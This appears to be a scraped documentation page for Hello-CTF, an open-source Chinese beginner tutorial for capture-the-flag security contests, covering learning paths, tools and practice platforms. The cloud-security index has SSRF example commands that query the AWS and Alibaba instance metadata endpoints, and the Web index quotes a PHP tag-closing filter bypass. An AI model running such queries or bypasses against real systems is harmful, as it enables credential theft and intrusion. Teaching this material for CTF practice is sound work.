Hello-CTF Documentation

【Hello CTF】题目配套,免费开源的CTF入门教程,针对0基础新手编写,同时兼顾信息差的填补,对各阶段的CTFer都友好的开源教程,致力于CTF和网络安全的开源生态!

4,271 stars HTML HTML 77 files · ~123,379 tokens #ctf#quickstart#writeups
RAW Doc

Docker & Self-Hosted Deployment Verified OCI

Deploy Hello-CTF on any server, homelab, or cloud container platform.

1-Click Terminal Command
bash (docker run)
docker run -d --name hello-ctf -p 8000:8000 --restart always hello-ctf
Configured Services & Ports
⚙️ hello-ctf
image: hello-ctf
🔌 Ports: 8000:8000
docker-compose.yml
yaml (docker-compose.yml)
version: '0'
services:
  hello-ctf:
    build: .
    image: hello-ctf
    container_name: hello-ctf
    ports:
      - "8000:8000"

Technical Documentation: ProbiusOfficial/Hello-CTF

ℹ️ Provenance: Multi-Tier Ingestion · CodeWiki Reference

Overview (README.md)

text
[ ](http://hello-ctf.com/)
[ ](https://github.com/ProbiusOfficial/Hello-CTF)
[ ](https://github.com/ProbiusOfficial/Hello-CTF)
[ ](https://github.com/ProbiusOfficial/Hello-CTF/blob/main/LICENSE)

 [ ](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=wJ35e-T-qSlU7Y3Cs-PAasrAvZfRSc9k&authKey=WNEQbZUpolxgfKjUHHoUIoTBvSnvk2jZtcyWlhaDcUZ6ZYGgvywqi1ah5D7UwUrg&noverify=0&group_code=590430891)
 [ ](https://gitcode.com/Probius/Hello-CTF)

文档基于 Mkdocs-Material 构建,通过 GitHub Pages 部署在 https://hello-ctf.com/ ,感谢渊龙Sec安全团队@AabyssZG 曾哥提供的CDN支持~

您可以直接访问该页面在线阅读,如果您想要转载本项目,请带上项目源地址:https://github.com/ProbiusOfficial/Hello-CTF

如果文档有帮助到你,麻烦点一个 :star: 支持一下!!

关于

随着网络安全的发展,有越来越多的小伙伴了解到了 CTF ,并且想要参与到比赛中来,但仅仅寻找学习资源就耗费了大量精力;
同时每年招新时 或者带新人入门的时候 都会面临很多相似的问题,于是本项目应运而生。
本项目旨在创建一本开源免费、新手友好的「 夺旗赛 | CTF(Capture The Flag) 」入门教程。

  • 对于每个方向的基础知识点,我们都会尽力提供相应的题目(包括题目附件 题目源码 Dockerfile),所有题目均可本地部署也可在NSSCTF平台上直接开启,我们会在教程中逐步引导读者,并且鼓励读者自行复现,使学习过程更加具象;
  • 在提供基础知识外,本书也将提供CTF相关的信息聚合,以消除信息差;
  • 书籍在每篇文章下都设置有讨论区,欢迎讨论,提问,以及建议;

功能与板块

  • 主教程:MISC / Web / Crypto / Reverse / Pwn 五大方向,以及 AWD / AI / Blockchain 等扩展方向,覆盖入门到提高各个阶段,每个知识点配有配套题目;
  • 赛事中心:国内外赛事聚合,国外赛事基于 CTFtime RSS 每日自动更新,国内赛事手动维护,提供 ICS 日历订阅与「提交比赛」入口;
  • 工具:CTF 工具百科,以及工具 / MCP 导航页;
  • 知识点标签:收集 CTF 中出现过的各项知识点,提供简介与相关 Payload;
  • 配套靶场:Hello-CTF 系列靶场的部署与解题文档,也可在合作平台在线体验;
  • 命题与容器:Docker 教学、CTF 命题技巧与封装教程,以及动态 Flag 容器模板项目 ctf-docker-template;
  • CTF档案馆:博客与友情链接、联合战队招新、CTF 相关 UP 主等内容收录。

本地构建

本项目基于 Python,克隆仓库后:

bash
pip install -r requirements.txt
mkdocs serve

或使用 Docker:

bash
docker compose up --build

随后访问 http://127.0.0.1:8000 即可预览。

项目结构

  • docs/ — 站点源码:教程文档、自定义首页与 sidebar 功能页、赛事数据等;
  • overrides/ — Mkdocs-Material 主题覆写;
  • build.py / events_update.py — 赛事数据更新脚本,由 GitHub Action 每日自动运行;
  • admin/ — 站点管理面板(管理赛事、首页内容、文档和部署);
  • collector/ — 消息收集器(接收赛事提交与意见反馈)。

加入我们

本书仍然处于更新阶段,我们还有很多内容需要完善,欢迎您加入我们,一起完善本书,让更多的人了解CTF,参与CTF,享受CTF的乐趣。
您随时可以通过提交 「 PR (Pull Request) 」来协助我们完成本项目。

  • 如果您在阅读过程中发现任何 知识点错误,内容模糊,名词拼写错误等等的问题,还请您协助我们进行修改,您可以直接在评论区中提出,也可以直接提交PR。
  • 如果您有好的题目,好的题解,好的知识点讲解,或者其他合作意向,也欢迎您联系探姬(By QQ)或者开启issue。

致谢

本项目基于Mkdocs-material搭建,感谢该项目提供的优秀的文档编写平台。

项目最初只是一个Readme文档,受到 Hello-algo 项目的启发,这才有了这个项目现在的样子,如果你对算法感兴趣,强烈推荐这本在数据结构期末考试前帮了我大忙的书籍。

在提出这个项目的想法的时候,因为国内的环境问题,我怀疑过很多次自己这样做是否有意义,感谢 Ari @deCafLatte 的支持和鼓励,让我有动力做自己喜欢的事情。

本项目的完成离不开以下小伙伴的贡献,感谢他们的付出。

text
<a href="https://github.com/ProbiusOfficial/Hello-CTF/graphs/contributors">
    
</a>

向每一个为开源社区做出努力和贡献的人,致以崇高的敬意!!!


Hc Ai Index (`docs/hc-ai/index.md`)


comments: true


AI | 人工智能

内容导读

  • 初识 AI:人工智能安全方向的基本概念与版图。
  • 你的第一个神经网络:动手实现一个 MLP,为后续的安全话题建立直觉。

Hc Crypto Index (`docs/hc-crypto/index.md`)


comments: true


Crypto | 密码学

内容导读

  • 环境配置:SageMath、Python 等密码学解题环境的搭建。
  • 基础知识:前情提要与编码基础,正式学密码之前的铺垫。
  • 密码体系:古典密码与现代密码——古典多在 MISC 中考察,现代密码(分组、序列、公钥体制)是比赛主体。

Hc Misc Index (`docs/hc-misc/index.md`)


comments: true


MISC | 杂项

内容导读

  • 信息收集:OSINT 开源情报搜集的思路与工具,MISC 的常规开局。
  • 文件与编码基础:编码扩展、文件基础、压缩包——杂项题的基本功。
  • 隐写分析:图片隐写、文件隐写、音频隐写的常见手法与工具链。
  • 取证分析:流量分析、内存取证、工控类题目。
  • 附:文件签名表:常见文件头 / 魔数速查,建议收藏备用。

Hc Preface Index (`docs/hc-preface/index.md`)


comments: true


前言

内容导读

  • 关于本书:这个项目是什么、为谁而写、内容如何组织。
  • 食用方法:如何高效使用本站——导航结构、搜索、评论区与互动方式。
  • 加入我们:如何为本书纠错、补充内容或参与维护。

Hc Pwn Index (`docs/hc-pwn/index.md`)


comments: true


Pwn | 二进制安全

内容导读

  • 环境与基础:WSL2 下的环境配置、x86 汇编语言、常见保护机制( Canary / NX / PIE / RELRO )。
  • 栈溢出:栈上数组越界与栈溢出——Pwn 的第一个漏洞类型。
  • ROP 利用:ROP 入门、常见 ROP 技巧、ROP 进阶。

Pwn 入门周期较长,建议配合 hc-start 中推荐的平台与题单同步刷题。


Hc Reverse Index (`docs/hc-reverse/index.md`)


comments: true


逆向工程

内容导读

  • 引导篇:灵魂FAQ:逆向方向的常见疑问,动手之前先读这篇。
  • 编译与可执行文件:C 语言基础、存储结构、可执行文件——逆向的地基。
  • 交互式反汇编工具 IDA:从零开始的 IDA 与动态调试。
  • 常见算法:基本运算、编码、字节流算法、分组密码在汇编层的识别与还原。
  • z3 约束求解 / x86 汇编初步:约束求解器与汇编阅读入门。
  • 代码保护与对抗:花指令、加壳、VM、SMC、异常处理、多线程、TLS 回调、反调试、控制流平坦化。
  • 符号执行:用符号执行自动化求解约束。
  • 语言与框架:Python / .NET / Rust / JavaScript 等语言各自的逆向特点。
  • Android 平台 / 解题技巧:移动端逆向与实战通用套路。

Hc Start Index (`docs/hc-start/index.md`)


comments: true


快速开始

💖欢迎来到新手村x

!!! Tip "注意"
在学习CTF前我们希望您具备一些CS领域的基础知识,我们推荐您先阅读 JANlittle师傅写的CS入门资料 ( 点此跳转 ) 大致具备CS领域的基本技能后再开始CTF的学习。

这篇教程会引导你大致的了解CTF,并且尝试教会你如何入门CTF。

当然,文档可能不是那么完善,如果你觉得文档缺少什么东西或者有什么不足的地方,欢迎在下方的评论区留言,我会尽快回复。

在开始之前,我想你可能会有些许疑惑,希望下面的 Q&A 能够帮助到你。

常见问题 Q&A

Q:什么是CTF

A:「CTF Capture The Flag」中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过相发起真实攻击进行技术比拼的方式;其将安全相关的知识点抽象出来并加入到题目中,我们通过对知识点的理解认知,具体地进行实践来攻克题目。

**Q:什么是Flag?**

A:参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为“Flag”。

Q:CTF竞赛模式?

A:CTF有个人赛和团队赛,在主流比赛中多为团队赛;

CTF赛制分多种,国内常见的为「 解题模式 Jeopardy 」「 攻防模式 | AWD (Attack With Defense) 」「 静态攻防 AWDP (Attack With Defence Plus) 」一般分为线上线下两个阶段,线上通常采用 解题模式 ,线下通常为 CTF +( 理论 )+ AWD/AWDP 模式,具体看主办方安排。

  • 「 解题模式 Jeopardy 」目前大多数国内外CTF比赛的主流形式,选手自由组队参赛。题目通常在比赛过程中陆续放出。解出一道题目后,提交题目对应的flag即可得分,比赛结束时分高者获胜。

  • 「 攻防模式 | AWD (Attack With Defense) 」通常为现场比赛,多数CTF决赛的比赛形式,选手自由组队参赛。每个队伍都有自己的gamebox,其上运行着一些带有漏洞的服务。参赛战队需要找到漏洞对其他队伍gamebox发起攻击,也需要通过patch服务来加固自己的gamebox。相比于解题模式,时间更短,比赛中更注重临场反应和解题速度,需要能够快速攻击目标主机的权限,考察团队多方面的综合安全能力。

  • 「 静态攻防 AWDP (Attack With Defence Plus) 」解题+加固赛,相比AWD赛制取消了gamebox,主办方会根据出题人设置的脚本判断提交的patch是否有效(攻击则和解题模式类似),参赛队伍无法直接攻击其他队伍。每个回合,参赛队伍都会根据自己攻击和加固成功的题目(以及相应题目的解题队伍数)来得分,以累积得分作为排行依据。

!!! question "存有疑惑?"
没关系,我们下面还有更迷糊的x 暂时了解就好啦,在CTF中,我们一般接触的最多的就是「 解题模式 Jeopardy 」。

Q:CTF的竞赛方向?

A:由于CTF知识面很广,一个人不可能面面俱到,所以选手们通常都会选择一个自己喜欢的方向深入研究,,通常分为五个方向:MISC、CRYPTO、WEB、REVERSE、PWN:

  • 「 杂项 MISC 」安全杂项涉及到古典密码学、编码、隐写术、电子取证、数据分析等广度极高的安全手段及利用方法,选手需要确定手段或者方法,反向的去破译取证从而拿到flag,MISC是CTF比赛中广度最高的方向,需要各个方向都有涉猎。 ——嗯?题不知道丢哪?没事丢杂项就好!
  • 「 密码学 CRYPTO 」密码学简单讲就古典密码和现代密码,当然大多数古典密码的题目目前都被划分到MISC中,目前的密码学反而更偏向现代密码学,常出现分组密码、流密码和公钥密码体制的考察,对初等数学、基本的数论有一定需求。选手通常被给予一个加密程序,抹去明文之后留下的加密过程和输出,要求选手通过密码体制的弱点来还原flag。 ——听说Oi爷又AK了!
  • 「 网络攻防 WEB 」着重于Web应用程序,框架,浏览器以及各类Web服务器的安全问题;挖掘/利用/研究各类Web系漏洞,探究其形成原理、利用方式及修补方案。题目常见的漏洞类型包括注入、XSS、文件包含、代码执行、上传、SSRF等,选手通过漏洞直接或者间接拿到shell或者得到某些关键文件从而得到Flag。 ——汪汪汪
  • 「 逆向工程 Reverse Engineering 」研究各类操作系统,编译器,虚拟机的底层架构,以Windows和Linux为平台,学习可执行程序的逆向分析技术,如软件调试与破解,对已经编译完成的可执行文件进行分析,研究程序的行为和算法,然后以此为依据,计算出出题人想隐藏的flag ——逆��
  • 「 二进制漏洞利用 Pwn 」Pwn在安全领域是「攻破」的意思。主要研究程序漏洞利用技术,例如栈溢出、堆管理器的漏洞利用和其他高阶技巧;挖掘和分析各类基于编译型语言的漏洞。二进制攻击涉及到栈溢出、堆溢出、格式化字符串漏洞等二进制漏洞,选手需要借助这些漏洞获取计算机权限,从而拿到flag ——PWN!(指声音
  • SOMETHING NEW 随着计算机技术的发展,也有一些新的方向如 「 区块链 Blockchain 」「 AI安全 」「 物联网 IoT 」等的加入。这些内容我们会在进阶文档中更新。

Q:我只是个萌新,为什么他们叫我师傅?

A:CTF圈子中,CTFer们通常以"师傅"相互称呼。

Q:什么是WriteUp?

A:又称作WP,是记录CTF比赛中解题过程的文章,通常包含题目描述、解题思路、解题过程、源码分析、脚本分析等内容。当然你也可以简单理解为解题报告——题解。

其他名词解释

  • 一把梭 代指一类解题过程或者方法,一般指将题目中给出的对应的附件 / 代码 / 密文等,直接丢到某个工具或者网站上,就能得到flag的解题方法。

  • 套娃 一是指一些题目比如说加密题,嵌套了多层的加密,需要多次解密才能得到flag,即一道题中可能涉及到多个知识点的考察; 二是带有一定贬义意义,通常指出题人只是为了出题而出题,单纯的、一味的、向题目中叠加tricks,导致本来就不新颖的题目还变得更加复杂,使得题目的难度无意义的变高。

Q:学习CTF有什么要求么?

A:信息检索能力 和 学习能力 这两者即可

说人话就是,会用搜索引擎,知道怎么检索信息,知道怎么验证信息正确性,知道怎么在垃圾场里面翻有用信息;然后就是拿到信息之后,快速学习,知道怎么运用知识点。

至少,别人的解题报告(一般我们称之为WriteUp 简称 WP)你得看得懂,你会看着跟着复现。

从哪开始?

!!! Success "好耶"
😆好了,你已经知道1+1=2了,下面来证明一下哥德巴赫猜想吧

!!! Question "如何推开CTF的大门"
推门啊,手放上去不就行了x??

如果你看着五个方向思考良久,一下子不太确定自己的方向,这里提供一些小参考,你可以通过下面两个方向先熟悉一下CTF的一些流程,找找——嗯,感觉~

「 **网络攻防 WEB** 」

  • 在传统的CTF线上比赛中,Web类题目是主要的题型之一。
  • 相较于二进制、逆向等类型的题目,参赛者不需掌握系统底层知识;
  • 相较于密码学、以及一些杂项问题,不需具特别强的编程能力,故入门较为容易。

「 **杂项 MISC** 」

  • MISC具有极大的趣味性;
  • MISC的入门难度包含维度很广但都很简单,非常适合用来快速熟悉CTF的比赛模式和规则。

!!! warning "注意"
注意入门方向是为了熟悉CTF比赛模式和规则,并不一定决定你最终方向。在熟悉了CTF大致的形式啊、规则啊什么的之后,就可以自由探索自己喜欢的方向了x

练习平台 & 使用指南

比赛平台

国内目前几大主流平台:(排名不分先后)

NSSCTF https://www.nssctf.cn/index (多功能Xenny。适合一人单刷,也适合团队训练。更详细的可以参考 NSSCTF平台食用指南)

BUUCTF https://buuoj.cn/

CTFshow https://ctf.show/ (MISC和Web的入门题单很赞)

攻防世界 https://adworld.xctf.org.cn/home/index

青少年CTF https://www.qsnctf.com/

CTFhub https://www.ctfhub.com/#/index (技能树确实不错,但是更新慢)

Bugku https://ctf.bugku.com/ (AWD做的比较好)

pwn.college pwn.college(当然如果您一来就相中了PWN的话,这个平台也是不错的选择)

!!! note "探姬の唠叨"
目前有一个好处就是,基本上每个平台的入门题目,直接搜索就能找到足够详细的WP,只要你会读文档,会跟着复现,并且在这个过程中持续学习,那么入门CTF对你来讲也就不会是什么难事x

text
如果看到这里,你已经有了大致的想法,那么便可以去尝试一下了~

!!! quote "小剧场"
"不必等待WP的降临,如果没有WP,我便是WP" —— 鲁迅
"鲁迅说过这话?"
"鲁迅什么话没说过?"

刷题指南

!!! quote "小剧场"
"凭什么只能指南?你这是方向歧视!"
"……"
下面我们以NSSCTF为例,简单介绍一下做题流程,和题目类型。

更详细的可以参考 NSSCTF平台食用指南

CTF题目开启的基本形式如下:

  • 附件 —— 通常为压缩包,每类题型都可能有,可能直接就是题目本身,也可能是题目涉及到的源码等等

  • 容器 (常见于Web Pwn,也有可能见于 Misc Crypto ……)

    • Web靶机 —— 通常为 ip:port / domain:port

      eg:1.11.45.14:1919 / node3.anna.nssctf.cn:28622

      这样的靶机可以直接在浏览器中访问:

    • nc 靶机 给出的形式和Web靶机类似:ip:port / domain:port

      也有可能没有: ip port / domain port

      也有部分靶机给出时会明显带上nc :nc ip port / nc domain port

      这样的靶机不能直接在浏览器中访问,需要使用nc工具连接,通常在Linux系统中接入,或者使用某些工具进行交互,如 pwntools

  • 当然也有可能附件和靶机都有。比如 Web 涉及到源码审计的时候,也有的nc交互给nc后台的脚本等各种类似的情况

新手引导

与其他比赛不同,CTF似乎没有一条能够一镜到底的通路,更多的还是需要探索适合自己的。
不过一些基础题单倒是比较确定,可以尝试看看x

下面我们会给出每个方向大致的内容、一些工具和Tricks以及入门路线和基础题单

希望你在入门中 培养 和 强化自己的学习能力,找到属于自己的路。

「 杂项 MISC 」

前置知识:

text
知道什么是CTF、知道什么是Flag就行了

基础内容 / 路线:

  • OSINT
    「 开源网络情报 OSINT(Open Source Intelligence) 」一种情报搜集手段,从各种公开的信息资源中寻找和获取有价值的情报,一般用于考察选手的信息搜集能力,也有可能会考察选手的逻辑推理能力。
  • 编码转换 / 古典密码
  • 隐写: 图片隐写、音频隐写、视频隐写
  • 取证: 流量分析、磁盘取证、内存取证、日志分析取证

入门需要的工具和Tricks

!!! warning
该部分只提供基础工具,更多工具可以到站内的工具页面查看,在遇到对应题目的时候可在页面中自行查找,到一定程度之后可以尝试自己复现轮子。

项目名称 Usage 项目地址 文档
Python MISC方向中用途最广的语言。 官网 /
CyberChef 近乎全能的编码解码工具。 官网国内中文镜像站 /
010 Editor 专业的文本编辑器和16进制编辑器,可通过加载模块脚本,解析文件结构。 官网 /
QR Research 专业的二维码扫描识别软件,支持多个纠错等级,掩码选项(已停止维护)。 / /
Stegsolve 图像分析工具。 GitHub /
Wireshark 流量分析取证软件。 官网 /

方便快速获得题感的一把梭工具:

!!! warning "给MISC选手的忠告"
MISC是一个对编程能力要求比较高的方向,不过大多数考点的固定衍生出比较多的"轮子",当然轮子减少手动操作,确实是好东西,但是容易产生一些弊端,因为跳过了手动操作所以不懂原理也能梭题目,可能会导致选手略过本来应该学的原理,手动会做之后再碰到了用工具减少操作是完全没问题的,即便没有这些整合工具,用现成脚本说到底本质也是一样的。

!!! Example "题目清单"
- CTFshow 菜狗杯的MISC部分 配合WP 食用 菜狗杯WriteUP
- CTFshow MISC入门
- BUUCTF MISC部分

当然其他平台也行,注意你的目的是 学到东西 ,而不是看刷题数量

「 **网络攻防 WEB** 」

前置知识:
看懂网页就行

基础内容 / 路线:
考点基本围绕几大类型的漏洞:

泄露 | 注入 | 序列化&反序列化 | 文件包含 | 文件上传 | 命令执行 | XSS | SSRF | 逃逸

如果你想了解更多或者前沿,可以参考「 开放式Web应用程序安全项目 OWASP(Open Web Application Security Project) 」 计划

Web方向涉及的技术栈以及大致认知路线:
JS(JavaScript) → PHP(语言基础,语言特性) → PHP框架(例如ThinkPHP) → Python Java → Web框架 例如Flask(Python) Springboot(Java) Node.js(JavaScript) ....

!!! warning "注意"
与开发不同,您无需完整掌握语言再去做题,在了解语言基础后,要做的就是通过题目去学习语言的特性,例如PHP的弱类型特性,Python的反序列化等等,这样的学习方式会更加高效。

入门需要的工具和Tricks

  • 工具
项目名称 Usage 项目地址 使用文档 其他
hackbar 浏览器插件,能够在页面上直接完成 请求/响应内容编辑,完成各种包括但是不限于伪造的工作。 谷歌商店GitHub / /
Proxy SwitchyOmega 代理管理软件,方便一个浏览器多个代理端口的切换。 GitHub / /
Wappalyzer 页面技术识别软件,方便快速定位页面的框架技术等信息 官网 / /
Burp Suite 代理抓包软件,用于Web应用程序的渗透测试和攻击 官网 / /
Antsword 开源Webshell管理工具 GitHub / /
dirsearch 目录扫描工具 GitHub / /
SQLMap 自动化的SQL注入利用工具 GitHub / /

稍微进阶一点,你可能需要一些 Linux 基础 —— 因为服务器主流系统都是Linux家族,大多数web服务也都挂载在Linux上面

同时 CTF 中所用的容器也是基于 Linux

有些题目 / 漏洞 涉及到的 RCE 也依赖于Linux命令

同时,你可能需要会简单的使用Docker,用于本地环境的搭建,便于漏洞复现或者本地调试。

Web 入门不会太难,但是和MISC一样,Web 是一个维度很广的方向,所以你需要在做题过程中不断地学习、不断的去了解 Web 这一个庞大的世界。

!!! Example "题目清单"
CTFshow 菜狗杯的Web部分(选做即可 不要死磕 ) 配合WP 食用 菜狗杯WriteUP

text
[CTFshow](https://ctf.show/) Web入门

[NSSCTF](https://www.nssctf.cn/) Web题目 前期建议结合WP 和 tag刷题

[BUUCTF](https://buuoj.cn/) / [QsnCTF](https://www.qsnctf.com/) 几大经典靶场 —— **Upload-Labs sqli-labs PikaChu Web-DVWA  XSS-Lab……**

「 **密码学 CRYPTO** 」

前面有说到,密码学主要是两个大类:古典密码学 和 现代密码学

目前比赛古典密码学多在MISC中考察,如果有涉及到密码学方向的古典密码学,那可能多半是变式 —— 即在古典密码原有的基础或者基于古典密码 置换 和 代换 基本原理创造出的新密码

而绝大部分密码学考察都为现代密码

古典密码参考:

密码学入门主要以现代密码学为主。

※ 入门需要的工具和Tricks

Python3环境

做题会遇到对应的模组,目前都能搜索到相关教程

【AD / 付费】 推荐 NSSCTF 平台上面 Xenny 老师 工坊密码学系列教程

※ 题目尝试:

  • NSS 密码学的题目部分
  • BUU 密码学部分

注意结合Wp时,因为现代密码学需要一定的数论基础,请不要为了解题而解题,在一些情况下你需要自行完成数学推导,最好是在完成数学推导后通过推导自行编写程序完成题目。

「 **逆向工程 Reverse Engineering** 」

目前,CTF中的逆向工程题目形式多数为:用户输入字符串→程序进行check。该过程会进行一系列的校验过程或者说算法,通常能通过校验的字符串便是flag。

所以针对校验过程,有可能是现有的一些加密解密算法,也有可能是出题人自研x

当然,也有许多“游戏性质的题目”,比如迷宫x

下面是你需要了解的东西;

  • 可执⾏文件
  • C/C++ 基础
    • “不要学会了基础才去学基础能做什么” 在你掌握了大部分内容就可以开始实践了,这时候打开你的 OD 就可以开始对程序进行分析了,我们鼓励在实践中学习
  • 汇编语言基础
    • 寄存器、内存、寻址
    • x86/x64 汇编
    • 反汇编、反汇编算法
    • 调⽤约定
    • 变量、区分处理局部变量

※ 入门需要的工具和Tricks

  • IDA Pro (注意:这里尽量选择高版本的,⽽且不要追求汉化)
  • OllyDbg, x64dbg
  • GUN Binary Utilities
  • GDB 调试器

※ 题目尝试:

※ 友情链接:吾爱破解 - LCG - LSG|安卓破解|病毒分析|www.52pojie.cn

「 **二进制漏洞利用 Pwn** 」

【不是AD】强烈推荐 Cyberangel师傅 的glibc PWN、IoT、angr等文档系列,直接带你从入门到精通!!!

PWN主要考察栈溢出、堆溢出、格式化字符串漏洞等常规的二进制漏洞,选手需要借助这些漏洞获取计算机权限,从而拿到flag。

之前也介绍过PWN靶机,一般后台为 C/CPP 所写的交互程序,我们常用nc连接,或者使用pwntools工具来建立远程连接。

那么你会遇到什么?

  • 栈溢出Ret2xxx系列各种ROP
  • 格式化字符串
  • 堆的各种漏洞
  • IO文件劫持和利用
  • 整数溢出、type溢出
  • ……

听不懂没关系,这里只是稍微介绍下x 入门之后遇到了自然就懂了喵~🐱

这里要强调的是!PWN是一门极其需要耐心的方向,入门的周期也比较长,而且直白的说:他确实需要一定天赋。

入门你可能会面临和逆向类型差不多的挑战,但你的难度显然会更高:

  • 汇编
  • C / C++
  • 编译原理
  • Linux
  • python

※ 入门需要的工具和Tricks

  • IDA Pro (注意:同样地,这里尽量选择高版本的,⽽且 不要追求汉化 )
  • OllyDbg, x64dbg
  • GDB 调试
  • pwntools
  • 推荐:Roder师傅的 Pwncli https://github.com/RoderickChan/pwncli
  • 二进制文件分析工具:radare2、objdump等。

这里稍微推荐一点学习资源x

※ 题目尝试:

※ 友情链接:看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

📡消除信息差

这里提供一些团队的导航网站,或者其他的一些信息,希望能够帮助到你。


Hc Web Index (`docs/hc-web/index.md`)


comments: true


Web | 网络攻防

Web 是 CTF 中题量最大、入门门槛最低、上限也最高的方向。这部分章节不是按"前端语法 → 后端语言 → 漏洞"的学院派顺序组织的,而是按一条真正能走通的 CTF 学习路径组织的。开始之前,先花几分钟读完这篇导语——它决定了你应该怎么用这本书。

从题中学

本书的核心主张:不提倡硬啃完前端或某门语言的全部知识后才开始做题,而是提倡从题目中学习。

正确的姿势是:拿到一道题,读题、测功能点、形成假设;卡住时回到对应章节,按需查阅你需要的那一小块知识;解出题后,把用到的技巧沉淀进自己的 payload 库(方法见「Writeup复盘方法」一章)。书中每章按「原理 → 最小示例 → 典型例题」组织,例题涉及的前置知识会直接指出章节名,方便你跳过去补。

Web 基础从哪开始:不是前端语法,而是 HTTP 包

很多教程让新手先学 HTML/CSS/JavaScript 语法,这对 CTF 是本末倒置。对 CTFer 来说,Web 基础的真正起点是 HTTP(s) 协议本身——学会抓包、读包、改包、重放包(见「HTTP协议」与「Burp Suite」两章),你就有了观察一切 Web 题的入口。

至于那些"前端知识",CTF 需要的从来不是会写页面,而是从题目中体会 前端导致的泄漏点和交互背后的原理:

  • DOM 操作与事件——在「XSS攻击」中现学;
  • 表单与前端校验——在「文件上传」中现学;
  • 前端加解密逻辑——在「JS逆向」中现学。

同理,数据库的增删改查不需要单独开课——CRUD 原理在「SQL注入」一章里边做题边学就够了。每一块语法都在它被当作考点的那一章里"按需出现"。

PHP 起步:从"特性"这个 tag 开始扩展

主线的起点是 PHP,而且建议从「PHP特性与常见绕过」这个 tag 开始扩展,而不是从 PHP 语法课本开始。原因有三:

  • CTF Web 题中 PHP 占比最高,且 PHP 的"特性"本身就是出题点;
  • 几乎所有漏洞类型——注入、反序列化、文件类、RCE——都可以先在 PHP 语境里学第一遍,把漏洞思想建立起来;
  • PHP 特性不止服务于 PHP 本身,它会被广泛应用到各种 Bypass 中:命令执行与代码执行里,攻击者靠一些语法就能完成攻击——比如 PHP 自增特性拼出任意函数名,比如利用 ?><?php phpinfo();?> 这类尾部闭合与标签特性绕过过滤。

所以「PHP特性与常见绕过」是全教程的枢纽章:后面 SQL 注入绕过、文件上传绕过、无参 RCE、WAF 绕过都会反复回到它。遇到不懂的 PHP 语法再去「PHP基础」按需查阅——从题目中学习语法、在题目中理解特性,这本身就是一个必要且高效的过程。

世界不止有 PHP

当你用 PHP 入门了一批基础漏洞——SQL 注入、文件上传这些——你会发现一件事:世界不止有 PHP(本来就是这样)。拿反序列化来说,不止 PHP 有,Python 有 pickle,Java 有 gadget chain,思想相通、实现各异。

本书把这部分单列为「语言扩展」:Python 反序列化对照 PHP 的 POP 链来学,Java 反序列化同样如此,SSTI 从 Twig/Smarty 过渡到 Jinja2。目录这么排,就是想明确告诉新手两件事:从 PHP 学漏洞是对的,但不要以为 Web 只有 PHP——带着「这和 PHP 里那个东西有什么异同」的问题去读这些章节,效率会高得多。

环境能力:会搭 → 会打 → 会逃

Web 选手的天花板往往不在漏洞知识,而在环境能力:

  • 会不会用 Docker / vulhub 在本地 复现 一个漏洞环境——这直接决定你在 Nday 题上的得分速度;
  • 会不会用虚拟机构建多网卡、多网段的网络拓扑,把比赛的内网渗透题在本地演一遍;
  • 遇到 Web 和二进制结合的题目,能不能把 Web 入口拿到的信息衔接成对内部服务的利用(见「Web与二进制结合」)。

「环境与工具」部分放在最前面打基础,进阶专题里的「云与容器安全」与之呼应:会搭 → 会打 → 会逃。

比赛趋势:从解题赛走向多层网络渗透

目前的比赛形式也在变。Web 除了 CTF 里比较单纯的解题赛,多层网络的渗透 / 内网渗透类题目越来越受青睐——给你一个 Web 入口,背后是两到三层网络:打点、立足、搭代理、逐层横向,直到摸到核心内网的 flag。这类偏实战的题区分度极高,也正是本书「实战能力」部分的设计依据:先链路(渗透流程总览)、后层数(两层 → 三层 → 多层)、再对抗(AWD、域渗透、Web 与二进制结合)。

带着这些认知,从「环境与工具」开始吧。


Hc Skill Ai Index (`docs/hc-skill/ai/index.md`)


comments: true

AI - 人工智能安全

方向技能索引。攻击对象为机器学习模型、LLM 应用、智能体系统时从本索引路由。模型相关的密码学(神经网络碰撞、格验证)同时参考 Crypto。

知识域路由表

知识域 触发特征
信息搜集 探测模型 API/数据集构成
模型攻击 对抗样本、模型窃取、越狱、后门
数据攻击 投毒、数据伪造
模型评估 性能/公平性/可解释性考察题
模型防御 加固类题目或防御方案设计
数据处理 预处理链路利用
安全防御 安全模型训练相关
系统安全 沙箱逃逸、智能体/Agent 攻击

环境基线

bash
pip install torch torchvision foolbox cleverhans transformers openai z3-solver
# GPU 可选;MNIST/CIFAR 是对抗样本题的事实标准数据集

Hc Skill Cld Index (`docs/hc-skill/cld/index.md`)


comments: true

CLD - 云安全

方向技能索引。目标为云平台(AWS/阿里云/腾讯云)、容器/K8s、CI/CD、云原生应用时从本索引路由。云上 Web 漏洞本体 → WEB;容器逃逸后利用 → 本方向。

知识域路由表

知识域 触发特征
信息搜集 云服务枚举、配置文件、metadata
身份与访问管理 AK/SK、角色、MFA、临时凭证
网络安全 VPC/安全组/防火墙配置缺陷
数据保护 对象存储权限、快照泄露
容器安全 Docker/K8s 逃逸与编排滥用
无服务器计算 FaaS 函数注入与权限滥用
监控与日志 日志配置/篡改/绕过
DevOps安全 CI/CD 管道、代码仓库、凭证管理
云原生安全 服务网格、云原生 API 滥用
合规与审计 合规检查、审计方法
第三方服务 第三方 API/依赖/供应链面
灾难恢复 备份与恢复策略

环境基线

bash
pip install aliyun-cli ossutil; aws cli; kubectl; trivy(镜像扫描)
# SSRF 打 metadata:curl http://100.100.100.200/latest/meta-data/(阿里云)
#                  curl http://169.254.169.254/latest/meta-data/(AWS)

Hc Skill Crypto Index (`docs/hc-skill/crypto/index.md`)


comments: true

CRYPTO - 密码学

方向技能索引。攻击对象为加密、哈希、签名、PRNG、ZKP、数论类题目时从本索引路由。不要用于:二进制逆向出的自定义密码(先转 Reverse),纯编码解谜(转 Misc),题目主体是 Web 但用了 JWT/哈希(转 WEB)。

知识域路由表

分组 知识域
编码与古典 编码与解码 · 加法密码 · 单表替换 · 简单代换 · 多表替换 · 其他古典 · 键盘密码
对称与现代 流密码 · RC4 · LFSR · 分组密码 · 对称密码 · DES · AES
